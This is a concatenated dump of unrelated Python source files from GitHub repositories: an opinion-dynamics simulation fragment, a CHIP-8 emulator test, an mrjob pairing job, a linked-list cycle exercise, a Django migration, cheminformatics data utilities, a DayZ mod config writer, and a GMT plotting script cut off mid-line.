config.add_model_parameter(\"mu\", 0.5)\n config.add_model_parameter(\"gamma\", gamma)\n config.add_model_parameter(\"gamma_media\", gamma)\n config.add_model_parameter(\"p\", pm)\n config.add_model_parameter(\"k\", k)\n\n if epsilon == 'heterogeneous':\n for node in list(graph.nodes):\n config.add_node_configuration(\"epsilon_node\", node, float(openmindedness[node]))\n else:\n config.add_model_parameter(\"epsilon\", epsilon)\n\n #configure model\n model.set_initial_status(configuration=config, initial_status=nodes)\n model.set_media_opinions(media_op)\n\n #perform iterations untill convergence\n iterations = model.steady_state(max_iterations=max_it, nsteady=500, sensibility=0.01, node_status=True, progress_bar=True)\n \n final_opinions[run] = iterations[-1]['status']\n final_niter[run] = iterations[-1]['iteration']\n\n write_dicts(respath, name, final_opinions, final_niter)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# for file in os.listdir('res/'):\n# if file.startswith('final_opinions'):\n# filename = file.split('_')[:6]\n# # print(filename)\n# if filename[2] == 'heterogeneous':\n# if filename[4] == 'pm0.5':\n# if filename[5] == 'mo[0.865708635554234].json':\n# filename = 'heterogeneous_'+filename[3]+'_'+'media'+'_'+'avg_cons.json'\n# elif filename[5] == 'mo[0.2825807341574699].json':\n# filename = 'heterogeneous_'+filename[3]+'_'+'media'+'_'+'avg_pros.json'\n# elif filename[5] == 'mo[0.48528938156222684].json':\n# filename = 'heterogeneous_'+filename[3]+'_'+'media'+'_'+'avg_neut.json'\n# elif filename[5] == 'mo[0.2825807341574699, 0.865708635554234].json':\n# filename = 'heterogeneous_'+filename[3]+'_'+'media'+'_'+'polarised.json'\n# elif filename[5] == 'mo[0.2825807341574699, 48528938156222684, 0.865708635554234].json':\n# filename = 'heterogeneous_'+filename[3]+'_'+'media'+'_'+'balanced.json'\n# elif filename[4] == 'pm0.0':\n# filename = 'heterogeneous_'+filename[3]+'_'+'nomedia.json'\n# try:\n# os.rename('res/'+file, 'res/'+filename)\n# except:\n# print('already renamed')\n# elif filename[2].startswith('e'):\n# if filename[4] == 'pm0.5':\n# if filename[5] == 'mo[0.865708635554234].json':\n# filename = filename[2]+'_'+filename[3]+'_'+'media'+'_'+'avg_cons.json'\n# elif filename[5] == 'mo[0.2825807341574699].json':\n# filename = filename[2]+'_'+filename[3]+'_'+'media'+'_'+'avg_pros.json'\n# elif filename[5] == 'mo[0.48528938156222684].json':\n# filename = filename[2]+'_'+filename[3]+'_'+'media'+'_'+'avg_neut.json'\n# elif filename[5] == 'mo[0.2825807341574699, 0.865708635554234].json':\n# filename = filename[2]+'_'+filename[3]+'_'+'media'+'_'+'polarised.json'\n# elif filename[5] == 'mo[0.2825807341574699, 48528938156222684, 0.865708635554234].json':\n# filename = filename[2]+'_'+filename[3]+'_'+'media'+'_'+'balanced.json'\n# elif filename[4] == 'pm0.0':\n# filename = filename[2]+'_'+filename[3]+'_'+'nomedia.json'\n# try:\n# os.rename('res/'+file, 'res/'+filename)\n# except:\n# print('already renamed')\n\n# for file in os.listdir('res/'):\n# print(file)\n","repo_name":"ValentinaPansanella/AlgBiasMediaModel","sub_path":"code/euro2020simulations.py","file_name":"euro2020simulations.py","file_ext":"py","file_size_in_byte":6550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18666693681","text":"import unittest\nfrom unittest.mock import Mock, call, patch\nfrom chip8_emulator.screen_proxy import ScreenProxy\n\n\nclass ScreenProxyTest(unittest.TestCase):\n\n def _init_screen_proxy(self, screen_buffer=None, scalation_factor=1):\n screen_implementation_mock = Mock()\n screen_proxy = ScreenProxy(screen_implementation_mock)\n screen_proxy._SCALATION_FACTOR = scalation_factor\n\n if screen_buffer is not None:\n screen_proxy._screen_buffer = screen_buffer\n\n screen_proxy.init_screen()\n\n return screen_proxy\n\n def _init_screen_buffer_with_sprite(self, sprite, x, y):\n screen_buffer = [[0] * 128 for i in range(64)]\n x_index = x\n\n for pixel_int_row in sprite:\n y_index = y\n pixel_row_bits_string = '{:08b}'.format(pixel_int_row)\n\n for row_bit_string in pixel_row_bits_string:\n row_bit_int = int(row_bit_string)\n screen_buffer[x_index][y_index] = row_bit_int\n y_index += 1\n\n x_index += 1\n\n return screen_buffer\n\n def test_update_screen_buffer(self):\n init_sprite = [0x18, 0x3C, 0x7E, 0x7E, 0x3C, 0x18, 0x18, 0x18, 0x18]\n x0 = 10\n y0 = 20\n screen_buffer = self._init_screen_buffer_with_sprite(\n init_sprite, x0, y0)\n screen_proxy = self._init_screen_proxy(screen_buffer)\n\n input_sprite = [0x66, 0x42, 0x00, 0x00, 0x42, 0x66, 0x66, 0x66, 0x66]\n screen_proxy._update_screen_buffer(input_sprite, x0, y0)\n\n expected_sprite = [0x7E, 0x7E, 0x7E,\n 0x7E, 0x7E, 0x7E, 0x7E, 0x7E, 0x7E]\n expected_screen_buffer = self._init_screen_buffer_with_sprite(\n expected_sprite, x0, y0\n )\n actual_screen_buffer = screen_proxy._screen_buffer\n\n self.assertEqual(expected_screen_buffer, actual_screen_buffer)\n\n def test_scale_sprite_x2(self):\n screen_proxy = self._init_screen_proxy()\n screen_proxy._SCALATION_FACTOR = 2\n original_sprite = [0xFF, 0xC0, 0xC0, 0xC0, 0xC0, 0xFF] # C\n\n expected_sprite = [\n 0xFFFF, 0xFFFF,\n 0xF000, 0xF000,\n 0xF000, 0xF000,\n 0xF000, 0xF000,\n 0xF000, 0xF000,\n 0xFFFF, 0xFFFF,\n ]\n actual_sprite = screen_proxy._scale_sprite(original_sprite)\n\n self.assertEqual(expected_sprite, actual_sprite)\n\n def test_scale_sprite_x3(self):\n screen_proxy = self._init_screen_proxy()\n screen_proxy._SCALATION_FACTOR = 3\n original_sprite = [0xFF, 0xC0, 0xC0, 0xC0, 0xC0, 0xFF] # C\n\n expected_sprite = [\n 0xFFFFFF, 0xFFFFFF, 0xFFFFFF,\n 0xFC0000, 0xFC0000, 0xFC0000,\n 0xFC0000, 0xFC0000, 0xFC0000,\n 0xFC0000, 0xFC0000, 0xFC0000,\n 0xFC0000, 0xFC0000, 0xFC0000,\n 0xFFFFFF, 0xFFFFFF, 0xFFFFFF,\n ]\n actual_sprite = screen_proxy._scale_sprite(original_sprite)\n\n self.assertEqual(expected_sprite, actual_sprite)\n\n def test_get_sprite_bit_matrix_to_draw(self):\n original_sprite = [0xFF, 0xC0, 0xC0, 0xC0, 0xC0, 0xFF] # C\n sprite_x = 20\n sprite_y = 10\n screen_buffer = self._init_screen_buffer_with_sprite(original_sprite,\n sprite_x, sprite_y)\n screen_proxy = self._init_screen_proxy(screen_buffer)\n\n expected_sprite = [[0] * 8 for _ in range(6)]\n expected_sprite[0] = [1] * 8\n expected_sprite[1] = [1, 1, 0, 0, 0, 0, 0, 0]\n expected_sprite[2] = [1, 1, 0, 0, 0, 0, 0, 0]\n expected_sprite[3] = [1, 1, 0, 0, 0, 0, 0, 0]\n expected_sprite[4] = [1, 1, 0, 0, 0, 0, 0, 0]\n expected_sprite[5] = [1] * 8\n\n actual_sprite = screen_proxy._get_segment_bit_matrix_to_draw(\n sprite_x, sprite_y, 8, 6)\n\n self.assertEqual(expected_sprite, actual_sprite)\n\n def test_wrap_if_overflow__overflow(self):\n screen_proxy = self._init_screen_proxy()\n row_overflow = 23\n row = screen_proxy._HEIGHT + row_overflow\n\n expected_row = row - screen_proxy._HEIGHT\n actual_row = screen_proxy._wrap_if_overflow(row, screen_proxy._HEIGHT)\n\n self.assertEqual(expected_row, actual_row)\n\n def test_set_collision__collision(self):\n screen_proxy = self._init_screen_proxy()\n pixel_before = 1\n pixel_after = 0\n\n screen_proxy._set_collision(pixel_before, pixel_after)\n\n actual_collision = screen_proxy.collision\n\n self.assertTrue(actual_collision)\n\n def test_set_collision__no_collision(self):\n screen_proxy = self._init_screen_proxy()\n pixel_before = 0\n pixel_after = 0\n\n screen_proxy._set_collision(pixel_before, pixel_after)\n\n actual_collision = screen_proxy.collision\n\n self.assertFalse(actual_collision)\n\n def test_refresh_segment(self):\n initial_x = 10\n initial_y = 5\n screen_segment = [[0] * 8 for _ in range(5)]\n screen_segment[1] = [1, 0, 1, 0, 1, 0, 1, 0]\n screen_segment[4] = [1, 1, 1, 1, 0, 0, 0, 0]\n screen_proxy = self._init_screen_proxy()\n\n screen_proxy._refresh_segment(screen_segment, initial_x, initial_y)\n\n expected_draw_pixel_calls = [\n call(10, 6), call(12, 6), call(14, 6), call(16, 6),\n call(10, 9), call(11, 9), call(12, 9), call(13, 9),\n ]\n expected_clear_pixel_calls = [\n call(10, 5), call(11, 5), call(12, 5), call(13, 5), call(\n 14, 5), call(15, 5), call(16, 5), call(17, 5),\n call(11, 6), call(13, 6), call(15, 6), call(17, 6),\n call(10, 7), call(11, 7), call(12, 7), call(13, 7), call(\n 14, 7), call(15, 7), call(16, 7), call(17, 7),\n call(10, 8), call(11, 8), call(12, 8), call(13, 8), call(\n 14, 8), call(15, 8), call(16, 8), call(17, 8),\n call(14, 9), call(15, 9), call(16, 9), call(17, 9),\n ]\n screen_proxy.screen.draw_pixel.assert_has_calls(\n expected_draw_pixel_calls\n )\n screen_proxy.screen.clear_pixel.assert_has_calls(\n expected_clear_pixel_calls\n )\n screen_proxy.screen.refresh.assert_called()\n\n @patch('chip8_emulator.screen_proxy.ScreenProxy._update_screen_buffer')\n @patch('chip8_emulator.screen_proxy.ScreenProxy._get_segment_bit_matrix_to_draw')\n @patch('chip8_emulator.screen_proxy.ScreenProxy._refresh_segment')\n def test_draw_sprite(self, mocked_refresh_segment,\n mocked_get_segment_bit_matrix_to_draw,\n mocked_update_screen_buffer):\n scalation_factor = 2\n sprite = [0xFF, 0x00, 0xFF]\n scaled_sprite = [0xFFFF, 0xFFFF, 0x0000, 0x0000, 0xFFFF, 0xFFFF]\n x = 10\n y = 5\n scaled_x = x * scalation_factor\n scaled_y = y * scalation_factor\n screen_proxy = self._init_screen_proxy(\n scalation_factor=scalation_factor\n )\n\n mocked_get_segment_bit_matrix_to_draw.return_value = 'mocked_matrix'\n\n screen_proxy.draw_sprite(sprite, x, y)\n\n mocked_update_screen_buffer.assert_called_with(\n scaled_sprite, scaled_y, scaled_x\n )\n mocked_get_segment_bit_matrix_to_draw.assert_called_with(\n scaled_y, scaled_x, 16, len(scaled_sprite)\n )\n mocked_refresh_segment.assert_called_with(\n 'mocked_matrix', scaled_x, scaled_y\n )\n\n def test_clear_screen(self):\n screen_proxy = self._init_screen_proxy()\n\n screen_proxy.clear_screen()\n\n screen_proxy.screen.clear.assert_called()\n","repo_name":"julenpardo/Chip8-Python-Emulator","sub_path":"tests/screen_proxy_test.py","file_name":"screen_proxy_test.py","file_ext":"py","file_size_in_byte":7682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"8550257358","text":"from mrjob.job import MRJob\nimport re\nfrom itertools import combinations\n\nWORD = re.compile(r\"[\\w']+\")\n\nclass CountAndPair(MRJob):\n\n def mapper(self, _, line):\n b_id, review = line.split('\\t',1)\n b_id = b_id.strip('\"').strip(\"'\")\n words = WORD.findall(review)\n \n # require this many words in order to compute similarity\n if len(words) < 50:\n return\n\n word_counts = {}\n for word in words:\n if word not in word_counts.keys():\n word_counts[word] = 1\n else:\n word_counts[word] += 1\n norm = 0.0 \n for count in word_counts.values():\n norm += count**2\n norm = norm**.5\n \n for word, count in word_counts.items():\n yield word, (b_id, count, norm)\n \n\n def reducer(self, word, values):\n for pair in combinations(values, 2):\n if pair[0][0] < pair[1][0]:\n yield (pair[0][0], pair[1][0]), (pair[0][1], pair[1][1], pair[0][2], pair[1][2])\n elif pair[0][0] > pair[1][0]:\n yield (pair[1][0], pair[0][0]), (pair[1][1], pair[0][1], pair[1][2], pair[0][2])\n else:\n pass\n\nif __name__ == '__main__':\n CountAndPair.run()\n","repo_name":"MarkAWard/Web-Search-Engine-Final-Project","sub_path":"processing/similar/CountAndPair.py","file_name":"CountAndPair.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"6478215003","text":"# !/usr/bin/python3\n\"\"\"\n一个链表包含环,如何找出环的入口节点\n\"\"\"\nclass ListNode:\n def __init__(self, value, next):\n self.val = value\n self.next = next\n\n def __eq__(self, other):\n if self.val == other.val and self.next == other.next:\n return True\n return False\n\n\"\"\"\n思路:\n 先确定链表存在环,然后任意找出环中的一个节点\n 然后确定环中节点个数 k ,最后两个指针,第一个先走 k 步,第二个开始从头走,相遇的点即位入口节点\n\"\"\"\ndef mettingNode(pHead):\n # 确定链表存在环,而且找到环中的一个节点\n if not pHead:\n return None\n pSlow = pHead.next\n pFast = pSlow.next\n while pSlow and pFast:\n if pSlow == pFast:\n return pSlow\n\n pSlow = pSlow.next\n if pFast:\n pFast = pFast.next\n return None\n\n\ndef entryNode(pHead):\n meetNode = mettingNode(pHead)\n if not meetNode:\n return None\n\n loop = 1\n pNode = pHead\n if pNode.next != meetNode:\n loop += 1\n pNode = pNode.next\n\n pNode = pHead\n for i in range(loop):\n pNode = pNode.next\n\n pNode2 = pHead\n while pNode != pNode2:\n pNode = pNode.next\n pNode2 = pNode2.next\n\n return pNode\n\n\"\"\"\n思路二:遍历链表,将当前节点放入一个列表中,遍历到下一个节点时判断其是否在列表中就行了\n 不过这种方法在链表很长时很消耗额外空间。O(n)\n\"\"\"\ndef EntryNodeLoop(pHead):\n tempList= []\n p = pHead\n while p:\n if p in tempList:\n return p\n tempList.append(p)\n p = p.next\n\n","repo_name":"MjSeven/funny-alg","sub_path":"swordOffer/链表中环的入口.py","file_name":"链表中环的入口.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1996449044","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('realtime', '0003_earthquakereport_language'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='earthquakereport',\n name='earthquake',\n field=models.ForeignKey(related_name='reports', to='realtime.Earthquake'),\n preserve_default=True,\n ),\n ]\n","repo_name":"inasafe/inasafe-django","sub_path":"django_project/realtime/migrations/0004_auto_20150703_0824.py","file_name":"0004_auto_20150703_0824.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"30740134693","text":"from __future__ import print_function\nimport csv\nimport numpy as np\nimport argparse\nimport os\nfrom os import makedirs as _makedirs\nfrom os.path import exists as _exists\n\nfrom scipy.stats import pearsonr\nimport sklearn.metrics as metrics\n\n#from . import input_data\n\n\n\ndef permute_data__simple(data):\n data_len = len(data)\n perm = np.random.permutation(data_len)\n data_perm = data[perm]\n return data_perm\n\n\ndef permute_data(data, labels=None, FixSeed=None, return_permutation=False, permutation = None):\n \"\"\"Returns:\n data, labels (if both given) otherwise just data , permutation [iff return_permutation==True]\"\"\"\n if FixSeed!=None:\n np.random.seed(int(FixSeed))\n s = np.shape(data)[0]\n if permutation is None:\n per = np.random.permutation(np.arange(s))\n else:\n per = permutation\n if type(data)==type([]):\n cpy = [data[i] for i in per]\n else:\n cpy = data[per] #creates a copy! (fancy indexing)\n if labels is not None:\n if type(labels)==type([]):\n cpyl = [labels[i] for i in per]\n else:\n cpyl = labels[per]\n if not return_permutation:\n return cpy, cpyl\n else:\n return cpy, cpyl, per\n if not return_permutation:\n return cpy\n else:\n return cpy,per\n\n\ndef create_labels_NaN_mask(labels, force_masked = False):\n '''\n replaces NaN's with 0 in labels as well as attaching a channel containing the mask (1==keep, 0==discard).\n\n labels -> [labels, binary_weights ( = mask)]\n '''\n\n mask = np.where(np.isnan(labels), 0, 1).astype('int16')\n if not force_masked:\n if not np.any(mask==0):\n return labels, False\n print('Missing entries in labels detected: masked loss will be used. (masked labels shape: {})'.format(labels.shape))\n labels = np.nan_to_num(labels)\n labels = labels.astype('int16')\n labels = np.concatenate([labels[:,None,:],mask[:,None,:]], axis=1)\n\n return labels, True\n\n\ndef cross_validation_split(data, labels, crossval_split_index, crossval_total_num_splits, validation_data_ratio = 0.1):\n '''\n Manages cross-validation splits given fixed lists of data/labels\n\n\n directly affects the size of the test set ( it is /crossval_total_num_splits)\n\n Returns:\n ----------\n\n traindata, valdata, testdata\n\n '''\n assert validation_data_ratio<1 and validation_data_ratio > 0\n assert crossval_split_index < crossval_total_num_splits\n\n N = len(data)\n n_test = int(N*1./crossval_total_num_splits)\n if crossval_split_index == crossval_total_num_splits - 1:\n n_test_full = N - crossval_split_index * n_test\n else:\n n_test_full = n_test\n\n # \n\n start_test = crossval_split_index * n_test\n end_test = crossval_split_index * n_test + n_test_full\n testdata = (data[start_test: end_test], labels[start_test: end_test])\n\n rest_data = np.concatenate((data[:start_test],data[end_test:]), axis=0)\n rest_labels = np.concatenate((labels[:start_test],labels[end_test:]), axis=0)\n\n n_valid = int(N * validation_data_ratio)\n valdata = (rest_data[: n_valid], rest_labels[: n_valid])\n traindata = (rest_data[n_valid: ], rest_labels[n_valid: ])\n\n return traindata, valdata, testdata\n\n\n\n\n\ndef read_csv__old(filename, smile_name, target_name, logp_name=None):\n data = []\n dt = np.dtype('S100, float')\n with open(filename) as file:\n reader = csv.DictReader(file)\n for row in reader:\n data_point=(row[smile_name], float(row[target_name]))\n if logp_name:\n dt = np.dtype('S100, float, float')\n data_point += (float(row[logp_name]),)\n data.append(data_point)\n data = np.asarray(data, dtype=dt)\n return list(zip(*data))\n\n\ndef read_csv(filename, nrows, input_name, target_name, delimiter = ',', logp_col_name = None):\n if logp_col_name is not None:\n raise NotImplementedError('logp_col_name not supported as of now')\n data = []\n labels=[]\n with open(filename) as file:\n reader = csv.DictReader(file, delimiter=delimiter)\n try:\n for row in reader:\n if isinstance(target_name, list):\n val = np.asarray([(float(row[x]) if row[x]!='' else np.NAN) for x in target_name], 'float32')\n else:\n val = float(row[target_name])\n data.append(row[input_name])\n labels.append(val)\n except:\n if isinstance(target_name, list):\n for x in target_name:\n if not x in row:\n print('Invalid label: {}'.format(x))\n else:\n print('Invalid label <{}> or <{}> for row <{}>'.format(input_name, target_name, row))\n return np.asarray(data), np.asarray(labels)\n\n\n\"\"\"\ndef load_csv_file_wrapper(file = 'data/delaney.csv', input_name = 'smiles', target_name='solubility', delimiter=','):\n '''\n file:\n\n csv file with smiles and other information like the targets\n\n\n returns: data, labels\n '''\n\n def wrapped_load(file_ = file, input_name_ = input_name, target_name_ = target_name):\n _alldata = read_csv(file_, nrows=None, input_name=input_name_, target_name=target_name_, delimiter=delimiter)\n assert len(_alldata[0])==len(_alldata[1])\n assert len(_alldata[0])>0, 'nothing in CSV'\n print('smiles',_alldata[0])\n print('targets',_alldata[1])\n data, labels = permute_data(_alldata[0], _alldata[1], FixSeed=12345)\n assert len(data)==len(labels)\n return data, labels\n\n return wrapped_load\n\n\n\n\n\ndef filter_duplicates(data, labels):\n\n fast_dict = dict(zip(data, labels))\n if len(fast_dict)==len(data):\n return data, labels\n\n ret_dict = {}\n\n for d,l in zip(data, labels):\n if d in ret_dict:\n ret_dict[d] = (ret_dict[d][0] + 1, ret_dict[d][1] + l)\n else:\n ret_dict[d] = ( 1., l)\n\n print('Data set contained {} entries but {} were duplicates (unique elements: {}) -- averaging targets(labels) of duplicate entries'.format(len(data), len(data)-len(fast_dict) , len(fast_dict)))\n # keys/values will correctly match data/labels (but still shuffle it)\n return ret_dict.keys(), [summed/count for count, summed in ret_dict.values()]\n\n\n\n\n\ndef filter_data_inner(data_loading_function, data_cache_name = 'default_data_cache/'):\n '''\n loads data using (e.g. load_Karthikeyan_MeltingPoints()) and filters out all invalid SMILES.\n Saves the processed data on disk (name is specified by ) and will re-load this file\n the next time filter_data() is called if the same is provided\n\n Inputs:\n ---------\n\n data_loading_function:\n\n a function returning two lists: a list of smiles(input data) and a list of labels/regression targets\n\n\n data_cache_name:\n\n string describing the location for storing the filtered data on disk.\n\n Set to None in order to disable this.\n '''\n try: #try to load cached files\n if data_cache_name is not None:\n data = np.load(data_cache_name+'_data.npy')\n labels = np.load(data_cache_name+'_labels.npy')\n else:\n assert 0\n except:\n data_, labels_ = data_loading_function()# e.g. load_Karthikeyan_MeltingPoints()\n data_, labels_ = filter_duplicates(data_, labels_)\n data, labels = [ ],[]\n ok, banned = 0,0\n for i in range(len(data_)):\n try:\n mol = Molecule(data[i], molecule_logp, contract_rings)\n\n array_rep_from_smiles(data_[i:i+1])\n data.append(data_[i])\n labels.append(labels_[i])\n ok +=1\n except:\n banned +=1\n if data_cache_name is not None:\n print('removed', banned, 'and kept', ok,'samples')\n data = np.array(data)\n labels = np.array(labels)\n\n if data_cache_name is not None:\n try:\n os.makedirs('/'.join(data_cache_name.split('/')[:-1]))\n except:\n pass\n np.save(data_cache_name+'_data.npy', data)\n np.save(data_cache_name+'_labels.npy', labels)\n return data, labels\n\n\n\n\n\ndef load_and_cache_csv(csv_file_name = None, input_field_name = 'smiles', target_field_name = 'solubility'):\n '''\n Loads a csv-based data-set and caches the data afer processing.\n\n data_set (str or None) [optional]:\n --------------\n\n Specify the name of the cache and an example data set\n valid values: 'delaney', 'huuskonsen', 'bloodbrainbarrier', None\n\n Returns:\n ---------\n\n data, labels, regression, num_classes\n '''\n\n data_set = csv_file_name.replace('\\\\','/').split('/')[-1]\n\n loader_fn = load_csv_file_wrapper(file = csv_file_name, input_name = input_field_name, target_name=target_field_name)\n\n # load and preprocess; uses cached data if available\n cache_name = 'data/cached/'+data_set\n data, labels = filter_data_inner(loader_fn, data_cache_name = cache_name)\n\n print('Number of valid examples in data set:',len(data))\n\n if isinstance(target_field_name, list):\n assert len(target_field_name) == labels.shape[1], 'ERROR: Failed to correctly load the data'\n\n return data, labels\n\"\"\"\n\n\ndef save_results(file_path, targets, predictions, additional_str=''):\n# data = np.array([targets, predictions])\n# data = data.T\n if file_path[-1]!='/':\n file_path = file_path+'/'\n np.save(file_path+'targets'+additional_str,targets)\n np.save(file_path+'predictions'+additional_str,predictions)\n\n\n\ndef mkdir(path):\n if len(path)>1 and _exists(path)==0:\n _makedirs(path)\n\ndef extract_file_path(string):\n \"\"\" returns: path [will end in '/' unless empty]\"\"\"\n A = string.replace(\"\\\\\",\"/\").split(\"/\")\n path = (\"/\".join(A[:-1]))+\"/\"\n if len(path)==1:\n path=\"\"\n return path\n\ndef save_text(fname,string):\n path = extract_file_path(fname)\n if path!=\"\" and os.path.exists(path)==False:\n mkdir(path)\n f=open(fname,'w')\n f.write(string)\n f.close()\n\n\ndef model_params_formatting(s):\n try:\n x, y, z = map(int, s.split(','))\n return x, y, z\n except:\n raise argparse.ArgumentTypeError(\"Model paramaters must be x,y,z\")\n\n\n\n\ndef get_accuracy_AUC(predictions, labels, weights):\n auc = -1\n if predictions.ndim==2 and abs(np.mean(predictions.sum(1))-1) < 1e-4:\n #regular softmax predictions (binary)\n if labels.max()==1:\n predictions = predictions[:,1]\n fpr, tpr, thresholds = metrics.roc_curve(labels[:,1], predictions, pos_label=1)\n auc = metrics.auc(fpr, tpr, reorder=1)\n accuracy = np.mean( np.argmax(predictions, axis=1) == np.argmax(labels, axis=1) )\n else:\n # multi-task binary\n if weights is None:\n accuracy = np.mean(((np.squeeze(predictions)>0.5)==np.squeeze(labels)))\n else:\n assert weights.shape == labels.shape\n accuracy = np.sum(weights*((predictions>0.5)==labels).astype('int8'))*1./np.sum(weights)\n AUCs=[]\n\n if np.isnan(np.sum(predictions)):\n print('WARNING::get_accuracy_AUC: predictions contain NaN!')\n predictions = np.nan_to_num(predictions)\n for i in range(labels.shape[1]):\n fpr, tpr, thresholds = metrics.roc_curve(labels[:,i], predictions[:,i], pos_label=1, sample_weight = None if weights is None else weights[:,i] )\n try:\n auc = metrics.auc(fpr, tpr, reorder=1)\n if not np.isnan(auc):\n AUCs.append(auc)\n except:\n pass\n\n auc = np.mean(AUCs)\n if np.isnan(auc):\n AUCs = np.asarray(AUCs)\n num_nan = np.sum(np.isnan(AUCs))\n auc = np.mean(np.nan_to_num(AUCs)) * len(AUCs)/(1.*len(AUCs)-num_nan) #mean ignoring NaN entries in AUCs\n return accuracy, auc\n\n\ndef get_metric(predictions, targets):\n #print('predictions, targets',predictions.shape, targets.shape)\n if targets.ndim==3 and targets.shape[1]==2:\n # weighted/masked binary classification\n labels, mask = targets[:,0,:], targets[:,1,:]\n accuracy, auc = get_accuracy_AUC(predictions, labels, mask)\n return {'accuracy':accuracy, 'auc':auc, 'primary':accuracy, 'secondary':auc}\n if targets.ndim==2 and targets.shape[1]==1: #predictions/targets (1732,) (1732, 1)\n # binary classification\n accuracy, auc = get_accuracy_AUC(predictions[:,None], targets, None)\n return {'accuracy':accuracy, 'auc':auc, 'primary':accuracy, 'secondary':auc}\n rmse = np.sqrt(np.mean((predictions - targets) ** 2))\n aae = np.mean(np.abs(predictions - targets))\n\n r,_ = pearsonr(predictions, targets)\n r2 = metrics.r2_score(targets, predictions)\n return {'rmse':rmse, 'aae':aae, 'r':r, 'r2':r2, 'primary':rmse, 'secondary':r2}\n\n\n\n\ndef remove_SMILES_longer_than(data, max_length = 100):\n da = list(data[0])\n la = list(data[1])\n which = np.where(np.asarray(list(map(len, data[0])))>max_length)[0][::-1]\n removed_lengths = []\n for i in which:\n removed_lengths.append(len(da[i]))\n del da[i]\n del la[i]\n assert len(da)==len(la)\n if len(which):\n print('Removed {} SMILES that were longer than {} from data set ({} remaining) - consider increasing the max sequence length in the config file. [Longest smiles string had {} elements]'.format(len(which), max_length, len(la), max(removed_lengths)))\n return np.asarray(da), np.asarray(la)\n\n\n\n\n","repo_name":"Chemoinformatics/InnerOuterRNN","sub_path":"Inner/InnerModel/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13836,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"38"} +{"seq_id":"22833272278","text":"import logging\nimport pathlib\n\nfrom carim.configuration import decorators\nfrom carim.global_resources import auth\nfrom carim.util import file_writing\n\nlog = logging.getLogger(__name__)\n\n\n@decorators.register\n@decorators.mod('@Trader')\n@decorators.profile(directory='Trader')\ndef trader_file_and_admins(directory):\n files = ['TraderVariables.txt', 'TraderVehicleParts.txt']\n for file in files:\n p = pathlib.Path('resources/original-mod-files/Trader', file)\n file_writing.copy(p, directory)\n with file_writing.f_open(pathlib.Path(directory, 'TraderAdmins.txt'), mode='w') as f:\n for superuser in auth.get().get('superusers', []):\n log.info('adding {} as trader admin'.format(superuser['name']))\n f.write(superuser['steam64'] + '\\n')\n f.write('')\n","repo_name":"schana/dayz-server-carim","sub_path":"carim/configuration/mods/trader/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"9599107117","text":"#!/usr/bin/env python\n\nimport Core_Citcom, Core_GMT, Core_Util, subprocess\nimport numpy as np\nfrom Core_GMT import callgmt\n\n# standard arguments\ngeoframe_d = Core_Util.parse_geodynamic_framework_defaults()\nopts2_d = {'R':'g','J':'H180/8','X':'a1.5','Y':'a1.5'}\nstr_list = ['vx','vy','vz']\n\nage_list = [29]\n\ncmd = 'LABEL_FONT_SIZE 14p'\ncmd += ' LABEL_OFFSET 0.05'\ncallgmt( 'gmtset', cmd )\n\nfor age in age_list:\n print( 'age=', age )\n filename = 'debug_ivel.%(age)s.xy' % vars()\n lon, lat, subparallel, sub, vx, vy, vz = np.loadtxt( filename, unpack=True )\n\n for nn, comp in enumerate([vx,vy,vz]):\n\n str_comp = str_list[nn]\n temp_name = 'output.%(age)s.xyz' % vars()\n np.savetxt( temp_name, np.column_stack( (lon,lat,comp) ) )\n ps = 'output.%(age)s.%(str_comp)s.ps' % vars()\n\n opts_d = Core_GMT.start_postscript( ps )\n opts_d.update( opts2_d )\n\n grid_name = geoframe_d['gplates_velo_grid_dir']\n grid_name += '/gplates_%(str_comp)s.0.%(age)s.grd' % vars()\n cmd = grid_name + ' -Cvelocity.cpt'\n callgmt( 'grdimage', cmd, opts_d, '>>', ps )\n\n W = '3,red'\n Core_GMT.plot_gplates_ridge_and_transform( geoframe_d, opts_d, ps, age, W )\n\n G = 'black'\n W = '3,black'\n Core_GMT.plot_gplates_sawtooth_subduction( geoframe_d, opts_d, ps, age, W, G )\n\n cmd = ''' -Ba30g10/a30g10:.\"%(str_comp)s:\"''' % vars()\n callgmt( 'psbasemap', cmd, opts_d, '>>', ps )\n\n cmd = temp_name + ' -m -Sc0.05 -Cvelocity.cpt' % vars()\n callgmt( 'psxy', cmd, opts_d, '>>', ps )\n\n Core_GMT.end_postscript( ps )\n\n # magnitude of velocity\n vmag = np.sqrt( np.square(vx) + np.square(vy) + np.square(vz) )\n #vmag = np.sqrt( np.square(subparallel) + np.square(sub) )\n np.savetxt( temp_name, np.column_stack( (lon,lat,vmag) ) )\n\n ps = 'output.%(age)s.vmag.ps' % vars()\n opts_d = Core_GMT.start_postscript( ps )\n opts_d.update( opts2_d )\n\n grid_name = geoframe_d['gplates_velo_grid_dir']\n grid_name += '/gplates_vmag.0.%(age)s.grd' % vars()\n cmd = grid_name + ' -Cvelocity_mag.cpt'\n callgmt( 'grdimage', cmd, opts_d, '>>', ps )\n\n W = '3,red'\n Core_GMT.plot_gplates_ridge_and_transform( geoframe_d, opts_d, ps, age, W )\n\n G = 'black'\n W = '3,black'\n Core_GMT.plot_gplates_sawtooth_subduction( geoframe_d, opts_d, ps, age, W, G )\n\n cmd = ''' -Ba30g10/a30g10:.\"vmag\":''' % vars()\n callgmt( 'psbasemap', 